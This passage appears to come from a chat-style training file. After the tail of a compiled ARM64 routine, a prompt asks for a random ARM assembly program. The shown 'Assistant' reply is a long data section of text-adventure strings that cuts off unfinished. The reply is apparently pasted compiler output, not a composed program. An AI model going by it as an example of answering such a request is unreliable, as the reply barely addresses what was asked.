cmp x0, 1
beq .L5
ldr x0, [sp, 32]
ldr x1, [sp, 48]
cmp x1, x0
bne .L6
.L5:
mov w0, 42
bl putchar
b .L7
.L6:
mov w0, 46
bl putchar
.L7:
ldr x0, [sp, 48]
add x0, x0, 1
str x0, [sp, 48]
.L4:
ldr x0, [sp, 32]
ldr x1, [sp, 48]
cmp x1, x0
ble .L8
mov w0, 10
bl putchar
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
.L3:
ldr x0, [sp, 24]
ldr x1, [sp, 40]
cmp x1, x0
ble .L9
mov w0, 10
bl putchar
.L2:
ldr x0, [sp, 16]
sub x1, x0, #1
str x1, [sp, 16]
cmp x0, 0
bne .L10
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L12
bl __stack_chk_fail
.L12:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global uInput
.bss
.align 3
.type uInput, %object
.size uInput, 100
uInput:
.zero 100
.section .rodata
.align 3
.LC2:
.string "Please enter your name: "
.align 3
.LC3:
.string "%s"
.align 3
.LC4:
.string "Hello %s welcome to the rpgGame!\n"
.align 3
.LC5:
.string "You find yourself in a dark room and you are not sure how you got here."
.align 3
.LC6:
.string "As you look around you see the room has 40 doors, each labeled with a number. You are not sure how such a small room can have 40 doors, sooo magic..."
.align 3
.LC7:
.string "The room starts filling with water and you must choose a door to open or you will likely drown. you may quit anytime by selecting option 99"
.align 3
.LC8:
.string "What door do you choose?"
.align 3
.LC9:
.string "%d"
.align 3
.LC10:
.string "You open the door and found a lot of people jumping around"
.align 3
.LC11:
.string "You are almost certain that you have found a hidden civilization"
.align 3
.LC12:
.string "At this point it seems like you have three options"
.align 3
.LC13:
.string "Every option you choose has a hidden value related to it.."
.align 3
.LC14:
.string "Choose wisely to earn enough points to win this game!!"
.align 3
.LC15:
.string "1. Talk to the poeple and figure out why is everyone jumping!!"
.align 3
.LC16:
.string "2. Walk further down and explore the place"
.align 3
.LC17:
.string "3. Go back into the door you came from and drown"
.align 3
.LC18:
.string "You talk to one of the elders and find out that a monster has threatened the city and everyone is panicking"
.align 3
.LC19:
.string "The monster is a big red dragon that came upon the city to burn its lands"
.align 3
.LC20:
.string "Once again.. You have 3 options.\n1. You can fight with them\n2. You can run away\n3. You can have a random option be chosen for you."
.align 3
.LC21:
.string "GREAT!! You chose to fight!"
.align 3
.LC22:
.string "WOAH! You chose to be a coward! You do not deserve to play anymore.. GG"
.align 3
.LC23:
.string "You walk further down the street and you get amazed by how beautiful the city is"
.align 3
.LC24:
.string "To be continued..."
.align 3
.LC25:
.string "You opened the door and the water killed you"
.align 3
.LC26:
.string "Wrong choice!!!"
.align 3
.LC27:
.string "Counter = %d. \n \n"
.align 3
.LC28:
.string "you open the door and find ........ \n"
.align 3
.LC29:
.string "Watch out, look behind you, A Meeseeks is coming towarsds you.\n"
.align 3
.LC30:
.string "Hi I'm Mr.Meeseeks look at me, waving hands around.\n"
.align 3
.LC31:
.string "Ask him for a request and he will complete it and disapear.\n"
.align 3
.LC32:
.string "What type of request would you want to make?\n"
.align 3
.LC33:
.string "1st choice is Meeseeks can take you to Blips\n"
.align 3
.LC34:
.string "2nd choice is you can join Morty and go on an Adventure\n"
.align 3
.LC35:
.string "3rd choice is go back through the door you came from\n"
.align 3
.LC36:
.string "Hi I'm Mr Meeseeks look at me.\n"
.align 3
.LC37:
.string "Okay %s are you ready to go to Blips?\n"
.align 3
.LC38:
.string "First you need Flurbos.\n"
.align 3
.LC39:
.string "Hey %s its Morty, hurry get in, Rick isn't watching, let go on a adventure\n"
.align 3
.LC40:
.string "I will let you choose what plannet we go to \n"
.align 3
.LC41:
.string "You selected to exit.\n"
.align 3
.LC42:
.string "Incorrect input, please selecte from the following choices, 1, 2, or 3.\n"
.align 3
.LC43:
.string "You open the door and find a mysterious man saying: \n'Wendy, darling, Light of my Life! I'm not gonna hurt ya \n"
.align 3
.LC44:
.string "He looks at you menancingly and starts to run to you with a knife, there are multiple doors behind you and the door you came from.\n "
.align 3
.LC45:
.string "QUICK! which door do you pick?"
.align 3
.LC46:
.string "you may quit anytime by selecting option:99"
.align 3
.LC47:
.string "your average is %f \n"
.align 3
.LC48:
.string "You stumble into a room, and a skeleton behind a counter and holds a 6 sided die"
.align 3
.LC49:
.string "He asks you with a hollow voice, Hi would you like to roll the dice? you cannot leave the room without rolling 6 times."
.align 3
.LC50:
.string "Depending on ur average you will get a prize or punishment"
.align 3
.LC51:
.string "[1] for Yes or [2] for No"
.align 3
.LC52:
.string "your average is %lf \n"
.align 3
.LC53:
.string "you will fall into the abyss once you exit this room"
.align 3
.LC54:
.string "I have looked at your name"
.align 3
.LC55:
.string "Good job"
.align 3
.LC56:
.string "you will now exit the room"
.align 3
.LC57:
.string "Alright good bye"
.align 3
.LC58:
.string "You turn around and go back outside"
.align 3
.LC59:
.string "ONCE AGAIN"
.align 3
.LC60:
.string "w"
.align 3
.LC61:
.string "squirrel.txt"
.align 3
.LC62:
.string "r"
.align 3
.LC63:
.string "pic.txt"
.align 3
.LC64:
.string "Enjoy a picture of a Camel"
.align 3
.LC65:
.string "%s \n"
.align 3
.LC66:
.string "you are suddenly teleported outside and there you see an angled plank with 3 holes and 3 bags beside it\n"
.align 3
.LC67:
.string "a voice above asked if you want to play bean bag toss"
.align 3
.LC68:
.string "The voice above says: 'for you to win, you must put at least 2 bags into 2 of the 3 holes'"
.align 3
.LC69:
.string "now wasnt that fun?"
.align 3
.LC70:
.string "you can come back here whenever you want\n"
.align 3
.LC71:
.string "My room no 4. you open the door and find ........"
.align 3
.LC72:
.string "you open the door slowly, you hear a click in the distance:"
.align 3
.LC73:
.string "Do you close the door or open it fast? Type 1 for open and 2 for close."
.align 3
.LC74:
.string "you get hit with an arrow in the knee!"
.align 3
.LC75:
.string "you hear an arrow hit the door"
.align 3
.LC78:
.string "You open the door and walk inside the room."
.align 3
.LC79:
.string "The door locks, and the only way out is to decode a message."
.align 3
.LC80:
.string "Total Guesses: %d \nWrong Guesses: %d \nDecoded Message: %s \n"
.align 3
.LC81:
.string "That's all, %s \n"
.align 3
.LC82:
.string "Enter 1-40 to go to another room or 99 to quit. "
.align 3
.LC83:
.string "\nYou open the door and all the water drains"
.align 3
.LC84:
.string "In front of you are five doors"
.align 3
.LC85:
.string " ----- ----- ----- ----- ----- "
.align 3
.LC86:
.string "| | | | | | | | | | "
.align 3
.LC87:
.string "| 1 | | 2 | | 3 | | 4 | | 5 | "
.align 3
.LC88:
.string " ----- ----- ----- ----- ----- "
.align 3
.LC89:
.string "Which door will you choose? (99 will exit the program)"
.align 3
.LC90:
.string "\nYou picked the first door"
.align 3
.LC91:
.string "You look and see a small figure in the distance"
.align 3
.LC92:
.string "As you walk closer you see that it's a skeleton running straight towards you!"
.align 3
.LC93:
.string "There is another door to your right and written on the door says: "
.align 3
.LC94:
.string "In order to move escape the skeleton you need to add up 5 numbers averaging at least 10"
.align 3
.LC95:
.string "\nEnter 5 numbers"
.align 3
.LC96:
.string "Number %d : "
.align 3
.LC97:
.string "%f"
.align 3
.LC98:
.string "Your average is = %.2f \n"
.align 3
.LC99:
.string "\n\nPlease try again "
.align 3
.LC100:
.string "Retutning to the main menu\n"
.align 3
.LC101:
.string "\n\nCongrats! You escaped the skeleton!"
.align 3
.LC102:
.string "Returning to the main menu\n"
.align 3
.LC103:
.string "You enter door number 2 and find a man rolling dice"
.align 3
.LC104:
.string "You approach the man"
.align 3
.LC105:
.string "The man says to you, if you roll the correct number I will give you this gold ingot but if you lose then you'll be stuck down here forever"
.align 3
.LC106:
.string "\nWould you like to roll? [1] = yes, [2] = no"
.align 3
.LC107:
.string "The man says to pick a number 1 - 10"
.align 3
.LC108:
.string "Enter a number: "
.align 3
.LC109:
.string "Congrats you won the gold ingot!"
.align 3
.LC110:
.string "You lose"
.align 3
.LC111:
.string "Returning back to the main menu"
.align 3
.LC112:
.string "\nYou choose 2"
.align 3
.LC113:
.string "mSkullPic.txt"
.align 3
.LC114:
.string "Cannot open"
.align 3
.LC115:
.string "You found a computer in the door what"
.align 3
.LC117:
.string "-------------------------------------------------------------------------------------------------------"
.align 3
.LC118:
.string "\nTwisting the knob and bracing your shoulder, you push against the heavy door with a strained grunt.\n"
.align 3
.LC119:
.string "It slams shut just as you weave your way through. The door is now sealed tightly behind you.\n"
.align 3
.LC120:
.string "A familiar grumble roils from deep within your gut."
.align 3
.LC121:
.string "Before you conquer that hefty door again, you'll have to vanquish the hunger beast.\n"
.align 3
.LC122:
.string "Do you want to take a look around? (Type 'yes' or 'no') : \n"
.align 3
.LC123:
.string "\nPatting your stomach in agreement, you decide that going on incredible adventures through other mysterious doors can wait.\n"
.align 3
.LC124:
.string "For now, you have to look around for some food. Eat first, think later.\n"
.align 3
.LC125:
.string "\n...no?"
.align 3
.LC126:
.string "\nNO?????"
.align 3
.LC127:
.string "\noOOOooo OOO oo lookit me, I'm a silly little adventurer named %s! I dOnT nEeD To eAt!! i'M sO StROnG aN d ClEvEr AnD I'm nEvEr HuNgRYyyyYYH haAHAa heeHEEhoO\n\n"
.align 3
.LC128:
.string "You're about as dumb as a bowl of oats. Do you think you can open a heavily sealed door like this?\n"
.align 3
.LC129:
.string "When you're so hungry, you couldn't open a door twice?!\n"
.align 3
.LC130:
.string "Well, too bad - that door isn't budging, and you're looking around for some sustenance, whether you like it or not! Your stomach isn't giving you any other options here!\n"
.align 3
.LC131:
.string "----------------------------------------------------------------------------------------------------------------"
.align 3
.LC132:
.string "\nYou were so preoccupied with the door and your appetite that you hadn't noticed the room is completely dark.\n"
.align 3
.LC133:
.string "Fishing your phone out of your pocket, you swipe a few times to activate its flashlight. Suppose that will have to do, until you can get the lights working.\n"
.align 3
.LC134:
.string "You tentatively stretch a hand to the wall next to the door to check for a light switch - no dice.\n"
.align 3
.LC135:
.string "Sweeping the room with your cellphone light, you notice the stainless steel glint of a FRIDGE and FREEZER wedged into the right corner.\n"
.align 3
.LC136:
.string "You make out the red glow of a STOVE clock, blinking 00:00 steadily against the darkness.\n"
.align 3
.LC137:
.string "The stainless steel glint of a REFRIDGERATOR and FREEZER glints from the right corner.\n"
.align 3
.LC138:
.string "To the left of the freezer is an old combination STOVE and OVEN.\n"
.align 3
.LC139:
.string "A dirty SINK full of dishes connects to the counter space left of it, with a MICROWAVE on the counter space nearby."
.align 3
.LC140:
.string "Some CABINETS lay half-open on rusted hinges above the sink space.\n"
.align 3
.LC141:
.string "cl"
.align 3
.LC142:
.string "You open the door and find yourself in an eery, dark room."
.align 3
.LC143:
.string "You shut the door behind you and inspect the room. You spot a stool with a note placed on top of it and walk towards it."
.align 3
.LC144:
.string "You then pick up the note, but before you can begin reading it, you are startled by the sound of a footstep."
.align 3
.LC145:
.string "Before you can even process what you just heard, you are hit in the head with a shovel by a myseroius man, knocking you unconscious."
.align 3
.LC146:
.string "You wake up in the back of the man's car, scared for your life. He notices that you're awake."
.align 3
.LC147:
.string "'You've been out for a while', he says. 'Listen here and listen good because your life depends on it. I'm in need of some serious money, and you're gonna help me."
.align 3
.LC148:
.string "'Huh? Why me? I only have 100 dollars on me.' you explain to him."
.align 3
.LC149:
.string "'You were the only person dumb enough to walk into that room I was hiding in. Seriously, you wouldn't believe how long I waited in there for somebody.' he says."
.align 3
.LC150:
.string "'Any how, there's no getting out of this for you. Unless you pay with your life, but you don't want that to happen do you? So here's the plan...'"
.align 3
.LC151:
.string "'I hope you're a good gambler, because I'm going to drop you off at the local casino. There you can play any game you want, but I'd suggest sticking with what you're good at'"
.align 3
.LC152:
.string "'You're going to win me lots of money and I'll set you free. Easy enough, right?'"
.align 3
.LC153:
.string "'But what happens if I lose my $100?' you ask him."
.align 3
.LC154:
.string "'Well kid, you better pray you don't lose that money. Because the only way you're getting out of this in one piece is if you come back to me with a bag full of cash!'"
.align 3
.LC155:
.string "'And don't think you can contact the police while you're in there. If any of this gets back to me I will make sure your entire family is killed. I know people...'"
.align 3
.LC156:
.string "As he finishes explaining what you are to do, you arrive at the casino."
.align 3
.LC157:
.string "'Good luck, I know you'll make me happy.', he says to you as you exit his car."
.align 3
.LC158:
.string "You enter the casino and exchange your $100 for chips."
.align 3
.LC159:
.string "You spot a blackjack table and decide to try your luck"
.align 3
.LC160:
.string "'Welcome to the blackjack table! Would you like me to explain the rules? (Enter Y or N)"
.align 3
.LC161:
.string " %c"
.align 3
.LC162:
.string "Each participant attempts to beat the dealer by getting a count as close to 21 as possible, without going over 21."
.align 3
.LC163:
.string "It is up to each individual player if an Ace is worth 1 or 11. Face cards are 10 and any other card is its pip value."
.align 3
.LC164:
.string "Before the deal begins, each player places a bet, in chips, in front of them in the designated area."
.align 3
.LC165:
.string "When all the players have placed their bets, the dealer gives each player in the rotation a single card, including one to the dealer. This is repeated once more until everyone has 2 cards."
.align 3
.LC166:
.string "Each player must then decide whether to 'stand' (not ask for another card) or 'hit' (ask for another card in an attempt to get closer to a count of 21."
.align 3
.LC167:
.string "Player(s) may 'hit' as many times as they'd like during their turn."
.align 3
.LC168:
.string "If the player goes over 21, their round is over and they lose their bet. If, instead, the player decides to stand (therefore under 21), it is the dealer's turn."
.align 3
.LC169:
.string "The dealer then reveals his/her cards to the table. If the total of the dealer's cards is 17 or more, the dealer must stand. If the total is 16 or under, they must take a card."
.align 3
.LC170:
.string "The dealer must continue to take cards until the total is 17 or more, at which point the dealer must stand."
.align 3
.LC171:
.string "If the dealer goes over 21, any remaining player(s) automatically win. If the dealer does not go over 21, player(s) compare their cards to the dealers. Closes to 21 wins."
.align 3
.LC172:
.string "If there is a tie between dealer and player(s), both dealer and player(s) then draw a single card from the top of the deck. Whoever has the higher value card wins!"
.align 3
.LC173:
.string "Invalid input."
.align 3
.LC174:
.string "\n$$$$$$ %s COME ON DOWN!! YOU'RE ON THE PRICE IS RIGHT!! $$$$$$\n"
.align 3
.LC175:
.string " : : doo dooo dooooOoOoOo, doo dooooo DoooOooooooo : :\n"
.align 3
.LC176:
.string "\nBob Barker: Welcome contestants, let me show you the first item up for bid on the Price Is Right...\n"
.align 3
.LC177:
.string "\nJohnny Olsen: It's a new stove! A gas stove designed for your pleasure by LG Electronics. It is 6.3 cu. ft., has a Smart Wi-Fi enabled fan, and a convection electric oven range with AirFry and EasyClean in Stainless Steel.\n"
.align 3
.LC178:
.string "\nBob Barker: Contestants please bid on it in dollars because we round off our retail prices to the nearest dollar.. %s what do you bid? "
.align 3
.LC179:
.string "\nBob Barker; The actual retail price is $%d, that means %s, you are the winner!\n"
.align 3
.LC180:
.string "\nBob Barker: The actual retail price is $%d, that means %s, you are not the winner, let's try again...\n"
.align 3
.LC181:
.string "you open the door and find ........\n"
.align 3
.LC182:
.string "3 closed doors\n"
.align 3
.LC183:
.string "The first door is made of rock with cracks that seem to have orange lava flowing from them and fire comming out from the edges"
.align 3
.LC184:
.string "The second door seems to be an ornage rock door with vines covering it and light bleeding from the edges with mist flowing from underneath"
.align 3
.LC185:
.string "The final door seems to be an ordinary old wooden door of a broom closet"
.align 3
.LC186:
.string "Which door will you choose?"
.align 3
.LC187:
.string "1 for the fire door"
.align 3
.LC188:
.string "2 for the mysterious glowing door"
.align 3
.LC189:
.string "3 for the broom closet"
.align 3
.LC190:
.string "That isn't a valid door"
.align 3
.LC191:
.string "\nCHARACTER CREATION"
.align 3
.LC192:
.string "Enter your name:"
.align 3
.LC193:
.string "\nChoose your race"
.align 3
.LC194:
.string "1 - human"
.align 3
.LC195:
.string "2 - elf"
.align 3
.LC196:
.string "3 - ilvyr"
.align 3
.LC197:
.string "4 - ferren"
.align 3
.LC198:
.string "5 - race information"
.align 3
.LC199:
.string "\nTHE RACES OF HABREN"
.align 3
.LC200:
.string "HUMANS"
.align 3
.LC201:
.string "Known as Goddess's favorite. The most prosperous of all the races."
.align 3
.LC202:
.string "ELVES"
.align 3
.LC203:
.string "The racial offpsring of ilvyrs and humans. They often live underground, opposite of their ilvyr ancestors."
.align 3
.LC204:
.string "ILVYRS"
.align 3
.LC205:
.string "A race of fallen angels who have succumbed to the sin of pride. Identified by their pointed ears and white bird-like wings."
.align 3
.LC206:
.string "FERRENS"
.align 3
.LC207:
.string "Often mistaken as humans. They are identified by their towering heights, especially those of their women."
.align 3
.LC208:
.string "\nType 99 to quit"
.align 3
.LC209:
.string "hello world! welcome to room 14. spoooky.."
.align 3
.LC210:
.string "then a giant spider fell on your face"
.align 3
.LC211:
.string "RUNNN!"
.align 3
.LC212:
.string "You enter door 15 but you end up outside and see three colored paths\n"
.align 3
.LC213:
.string "Choose a path:\n 1 (yellow)\n 2 (red)\n 3 (green)\n"
.align 3
.LC214:
.string "The room is dark and cold"
.align 3
.LC215:
.string "You look at the empty room with empty Shelves.."
.align 3
.LC216:
.string "You think to yourself, there's nothing of value in here.."
.align 3
.LC217:
.string "What should you do?"
.align 3
.LC218:
.string "1. Move and advance to the next room"
.align 3
.LC219:
.string "2. Examine the room a little more carefully"
.align 3
.LC220:
.string "3. Go back to the last room"
.align 3
.LC221:
.string "You go towards the door, but the handle is locked.."
.align 3
.LC222:
.string "*Maybe you should examine the room.."
.align 3
.LC223:
.string "You look at the very top of the shelf and find a old brass key"
.align 3
.LC224:
.string "You back out slowly towards the previous room... but it's locked!"
.align 3
.LC225:
.string "Try again"
.align 3
.LC226:
.string "you open the door and find ........"
.align 3
.LC227:
.string "Welcome to Door 18\n"
.align 3
.LC228:
.string "'Have a seat...if you dare', beckons an old Wizened Man siting in the center of the cavern at a small card table.\n"
.align 3
.LC229:
.string "\n You can either (sit) down, (look) around, or (leave) back to where you came..like a coward. "
.align 3
.LC230:
.string "./room19/room19_D.txt"
.align 3
.LC231:
.string "./room19/room19_O.txt"
.align 3
.LC232:
.string "./room19/room19_M.txt"
.align 3
.LC233:
.string "\n"
.align 3
.LC234:
.string "\n\nOur brave hero %s approaches the door\n\n"
.align 3
.LC235:
.string "\nyou open the door and find ........\n"
.align 3
.LC236:
.string "\nOur not-so brave hero %s slowly backs away from door 19 and decides to pick another door\n\n"
.align 3
.LC237:
.string "There is a noise in the distance but you can't quite make out what it is"
.align 3
.LC238:
.string "You open the door and actually find out the noise is just Naked in the Rain by the Red Hot Chili Peppers playing on a radio"
.align 3
.LC239:
.string "You actually see a guitar next to the radio. Do you pick it up? 1 for yes, 2 for no"
.align 3
.LC240:
.string "You pick up the guitar and suddenly feel a change in your body. Maybe its the 5G everyone jokes about"
.align 3
.LC241:
.string "Someone comes out of the shadows and hits you over the head with it. You died."
.align 3
.LC242:
.string "The floor fails and you through it into the void"
.align 3
.LC243:
.string "The gentleman welcomes you into the corner with the light and he asks you to give him some numbers"
.align 3
.LC244:
.string "However you find out that the old man cannot keep track of more than 10 values"
.align 3
.LC245:
.string "Enter the amount of numbers you want to make an average out of "
.align 3
.LC246:
.string "Error! Keep it between 1 and 10 values. "
.align 3
.LC247:
.string "Enter the amoount of numbers you want to average: "
.align 3
.LC248:
.string "%d. Enter number: "
.align 3
.LC249:
.string "Average = %.2f \n"
.align 3
.LC250:
.string "You have entered a chamber resembling the ruins of an Ancient Egyptian Temple "
.align 3
.LC251:
.string "The door to your left shows signs of innocence"
.align 3
.LC252:
.string "while the door to your right emits a dark and powerful energy"
.align 3
.LC253:
.string "You see a dark figure in the distance"
.align 3
.LC254:
.string "He tosses a coin"
.align 3
.LC255:
.string "The coin lands on heads"
.align 3
.LC256:
.string "Fate has decided for you to choose the door to your left"
.align 3
.LC257:
.string "the coin lands on tails"
.align 3
.LC258:
.string "???: Fate has decide for you to walk through the door to your right "
.align 3
.LC259:
.string "???: %s would you ignore fate \n"
.align 3
.LC260:
.string "???: Pick a door?!"
.align 3
.LC261:
.string "1. Innocent door"
.align 3
.LC262:
.string "2.Door towards a powerful Energy"
.align 3
.LC263:
.string "reveal code HEADS"
.align 3
.LC264:
.string "Intersting choice"
.align 3
.LC265:
.string "reveal code TAILS "
.align 3
.LC266:
.string "\nYou open the door and find ........"
.align 3
.LC267:
.string "Yourself inside of JoJos Bizarre Dungeon. \n"
.align 3
.LC268:
.string "Select your stand"
.align 3
.LC269:
.string "1. Star Platinum"
.align 3
.LC270:
.string "2. Golden Experience."
.align 3
.LC271:
.string "3. Mr. President "
.align 3
.LC272:
.string " %d"
.align 3
.LC273:
.string "\nDIO, the arch nemesis of the Joestar family bloodline, has successfully killed your grandpa and drank his blood achieving an incredible power buff."
.align 3
.LC274:
.string "You must defeat DIO to revive your uncle and save humanity."
.align 3
.LC275:
.string "\nDiavolo, the head of an italian mafia that sells drugs to kids, is about to acquire a requiem arrow that will allow him to upgrade his stand and become the strongest stand user in existance."
.align 3
.LC276:
.string "You must get to the arrow before him in order to upgrade your stand and become head of the mafia and stop the flow of drugs to the kids."
.align 3
.LC277:
.string "Not finished \n"
.align 3
.LC278:
.string "Thank you for playing."
.align 3
.LC279:
.string "press 1 to start"
.align 3
.LC280:
.string "yes"
.align 3
.LC281:
.string "sorry"
.align 3
.LC282:
.string "not valid"
.align 3
.LC283:
.string "You are in a small dark room"
.align 3
.LC284:
.string "You turn the lights on and see 3 doors"
.align 3
.LC285:
.string "You have to choose what door to go through"
.align 3
.LC286:
.string "1.Go through the red door"
.align 3
.LC287:
.string "2.Go through the blue door"
.align 3
.LC288:
.string "3.Go through the green door"
.align 3
.LC289:
.string "Please enter a number 1-3 or press 99 to exit the program:"
.align 3
.LC290:
.string "\nWoah! Wow! You really chose the red door"
.align 3
.LC291:
.string "Very brave of you, but what a stupid choice to make"
.align 3
.LC292:
.string "Really?! Who choses a red door over a green and blue door"
.align 3
.LC293:
.string "Anyways! Prepare to meet your doom! HAHA!"
.align 3
.LC294:
.string "You died!\n"
.align 3
.LC295:
.string "\nYou enter the room and close the door"
.align 3
.LC296:
.string "You realize you have seen this room before"
.align 3
.LC297:
.string "You are confused"
.align 3
.LC298:
.string "You see a mirror and go to it"
.align 3
.LC299:
.string "You see yourself in the mirro and see a 10 year old kid"
.align 3
.LC300:
.string "THAT'S YOU!"
.align 3
.LC301:
.string "You are confused and scared"
.align 3
.LC302:
.string "You realize this room is your room"
.align 3
.LC303:
.string "You see your bed and decide to take a nap\n"
.align 3
.LC304:
.string "\nYou go through the green door and the door slams behind you!"
.align 3
.LC305:
.string "You cannot see what is happening"
.align 3
.LC306:
.string "You start walking foward, but fall off a cliff!"
.align 3
.LC307:
.string "SPLAT!"
.align 3
.LC308:
.string "You fell to your death\n"
.align 3
.LC309:
.string "\nYou open the door and find a small room with a door on the other side and a desk with a laptop and three USB drives equally spread apart, one gree, one blue, one red."
.align 3
.LC310:
.string "The door behind you slams shut. You open the door again to see a bottomless pit."
.align 3
.LC311:
.string "You are now realizing there is no immediate way out, so you decide to find your own way out..."
.align 3
.LC312:
.string "You walk over to the desk and see a message above each USB...\n"
.align 3
.LC313:
.string "1) Inspect the Green USB."
.align 3
.LC314:
.string "2) Inspect the Blue USB."
.align 3
.LC315:
.string "3) Inspect the Red USB."
.align 3
.LC316:
.string "4) Walk up to the door on the other side of the room."
.align 3
.LC317:
.string "5) Leave the room and fall into the bottomless pit."
.align 3
.LC318:
.string "Enter choice 1-5: "
.align 3
.LC319:
.string "\nChoose another room 1-40 or type 99 to exit the program."
.align 3
.LC320:
.string "Fantasy world with flying dragons, mystery mythic, magic and rescuing princess... Your dream adventure world! Oh look! The little fairy flew and welcomes you."
.align 3
.LC321:
.string "Would you like to talk to it (yes=1 no=0)?"
.align 3
.LC322:
.string "You: Hey! How are you? This world seems pretty nic..."
.align 3
.LC323:
.string "Fairy: Shut up and give me ALL you've got!!"
.align 3
.LC324:
.string "You: Wait wha..?"
.align 3
.LC325:
.string "%c"
.align 3
.LC326:
.string "Fairy: I need a MONEY!(pulls out of a knife)."
.align 3
.LC327:
.string "\nLooks like that wasn't clever choice."
.align 3
.LC328:
.string "\t\t...YOU DIED...."
.align 3
.LC329:
.string "Are you really going to ignore this cute fairy? Come on~ at least saying hi wouldn't hurt anybody."
.align 3
.LC330:
.string "Talk to the fairy(yes=1 no=0)."
.align 3
.LC331:
.string "You: Hi,I was wonder what were you doing he..."
.align 3
.LC332:
.string "Fairy: Were you trying to ignore me huh? (stabs with a knife)"
.align 3
.LC333:
.string "Well... seems like that fairy would hurt anybody here haha. You Die..."
.align 3
.LC334:
.string "You have safely ranway from that cold blood fairy. Please select your derection to go"
.align 3
.LC335:
.string "1.Mining Mountain 2.Shop 3.Gamble"
.align 3
.LC336:
.string "Entering Mining Mountain"
.align 3
.LC337:
.string "Miner: Welcome to Pitcoin mining! You can mine your Pitcoin as many as you want. But the amount will be random. So GL!"
.align 3
.LC338:
.string "Mine Pitcoin? (yes=1 no=0)"
.align 3
.LC339:
.string "Exiting Mining Mountain"
.align 3
.LC340:
.string "Let's mining!"
.align 3
.LC341:
.string "Please select again."
.align 3
.LC342:
.string "reselect case"
.align 3
.LC77:
.string "Hello World"
.align 3
.LC343:
.string "Turn back"
.align 3
.LC344:
.string "saidLast.txt"
.align 3
.LC345:
.string "There were 28 doors before this, and you actually chose this one? Well alright then."
.align 3
.LC346:
.string "Four portals right next to each other. A voice tells you to enter one."
.align 3
.LC347:
.string "The first portal is blue, second is red, third is yellow, fourth is black."
.align 3
.LC348:
.string "1 = First Portal | 2nd = Second Portal | 3rd = Third Portal | 4th = Fourth Portal"
.align 3
.LC349:
.string "Seriously?! That wasn't any of the options!"
.align 3
.LC350:
.string "Since you cannot follow the directions, you have died."
.align 3
.LC351:
.string "GAME OVER."
.align 3
.LC352:
.string "You have entered portal number 1. A man walks up to you and says: "
.align 3
.LC353:
.string "Greetings! I see you are a new arrival to this land. My job is to welcome all new visitors."
.align 3
.LC354:
.string "You think to yourself. You've read that before somewhere. A long time ago but you're not 100% sure where you have."
.align 3
.LC355:
.string "As the man continues talking you look around your surroundings and realize you're in Gielinor, from the MMORPG RuneScape."
.align 3
.LC356:
.string "You interrupt the man, yelling you don't belong here and that you belong on Earth! The man continues without skipping a beat."
.align 3
.LC357:
.string "You're not sure whether or not to just run away or hit the guy. You choose to: "
.align 3
.LC358:
.string "1 to run away | 2 to hit the guide"
.align 3
.LC359:
.string "You run out of the building and see a woman training people how to cut logs off trees and fish for shrimp."
.align 3
.LC360:
.string "You deduce that you're already super freaked out and decide to go through all of tutorial island except you just ignore everyone you see."
.align 3
.LC361:
.string "After running for how long you see the endtrance to the wizards building."
.align 3
.LC362:
.string "When you finally reach the wizard to teleport you to the mainland he is shocked to see you."
.align 3
.LC363:
.string "He says: You're not supposed to be here, but I'm sure you know that already. There must have been an issue somehow."
.align 3
.LC364:
.string "I would like to send you back but unfortunately to do that you must win a contest. Not my laws, it's the God's laws."
.align 3
.LC365:
.string "If you win you can go back, if you lose then your stay here will be inevitable. Ready to play?"
.align 3
.LC366:
.string "I have 3 six-sided die. I roll them, and you must guess the total I rolled. You have 1 chance to get it. Let's start!"
.align 3
.LC367:
.string "I rolled them. What total do you think I got? Remember, I can get 3 to 18. "
.align 3
.LC368:
.string "You actually got the correct answer"
.align 3
.LC369:
.string "With that, you can go home now!"
.align 3
.LC370:
.string "After reciting some gibberish, he sends you home and you wake up on your bed."
.align 3
.LC371:
.string "You're not sure what to think of that, but hope that if that ever happens again, you choose a different door not marked 29."
.align 3
.LC372:
.string "Oh too bad, you're wrong."
.align 3
.LC373:
.string "The number was actually %d \n"
.align 3
.LC374:
.string "You instantly get teleported to Lumbridge to live out your life as a RuneScape player."
.align 3
.LC375:
.string "You hit the guide. He replies with: "
.align 3
.LC376:
.string "You can't do that here. And now, you have to pay. "
.align 3
.LC377:
.string "Suddenly an explosion rocks your nonsensical world and you die instantly."
.align 3
.LC378:
.string "Seriously though, why on Earth did you hit him?"
.align 3
.LC379:
.string "Game Over."
.align 3
.LC380:
.string "You end up in a college room, with a whiteboard and a couple markers on it."
.align 3
.LC381:
.string "The whiteboard says: Enter some numbers for calculation. C to calculate."
.align 3
.LC382:
.string "You think to yourself, what is this? Some sort of calculator whiteboard?"
.align 3
.LC383:
.string "Enter how many numbers you'd like to put on: "
.align 3
.LC384:
.string "Alright, the whiteboard only do a max of 20."
.align 3
.LC385:
.string "Enter the amount: "
.align 3
.LC386:
.string "Number order: %d "
.align 3
.LC387:
.string "The average is: %f \n"
.align 3
.LC388:
.string "This portal is under construction, please choose another one."
.align 3
.LC389:
.string "You have entered portal number 4. You're suddendly teleported onto a stage with a microphone. There is no audience."
.align 3
.LC390:
.string "You walk up to the microphone in curiosity and say: "
.align 3
.LC391:
.string "You hear as the speakers replay your voice: "
.align 3
.LC392:
.string "Congrats, those were your last words you've said!"
.align 3
.LC393:
.string "You die instantly as your last words are forever recorded."
.align 3
.LC394:
.string "Some guy screaming that he is the coolest in the universe!"
.align 3
.LC395:
.string "You stand in shock as it is said in your precense."
.align 3
.LC396:
.string "You contemplate your current options"
.align 3
.LC397:
.string "Which do you choose? 1: Acknowledge that You are truly the coolest "
.align 3
.LC398:
.string "2:Acknowledge he is the coolest "
.align 3
.LC399:
.string "Your claim has been ignored."
.align 3
.LC400:
.string "You challenge him to a cool contest. "
.align 3
.LC401:
.string "Your claim has been taken as sarcasim. "
.align 3
.LC402:
.string "He challenges you to a cool contest. "
.align 3
.LC403:
.string "Play again? Enter 99 to quit"
.align 3
.LC404:
.string "a"
.align 3
.LC405:
.string "Casino.txt"
.align 3
.LC406:
.string "Would you like to read the rules? (1: yes | 2: no) "
.align 3
.LC407:
.string "\n- - - - - - -\n"
.align 3
.LC408:
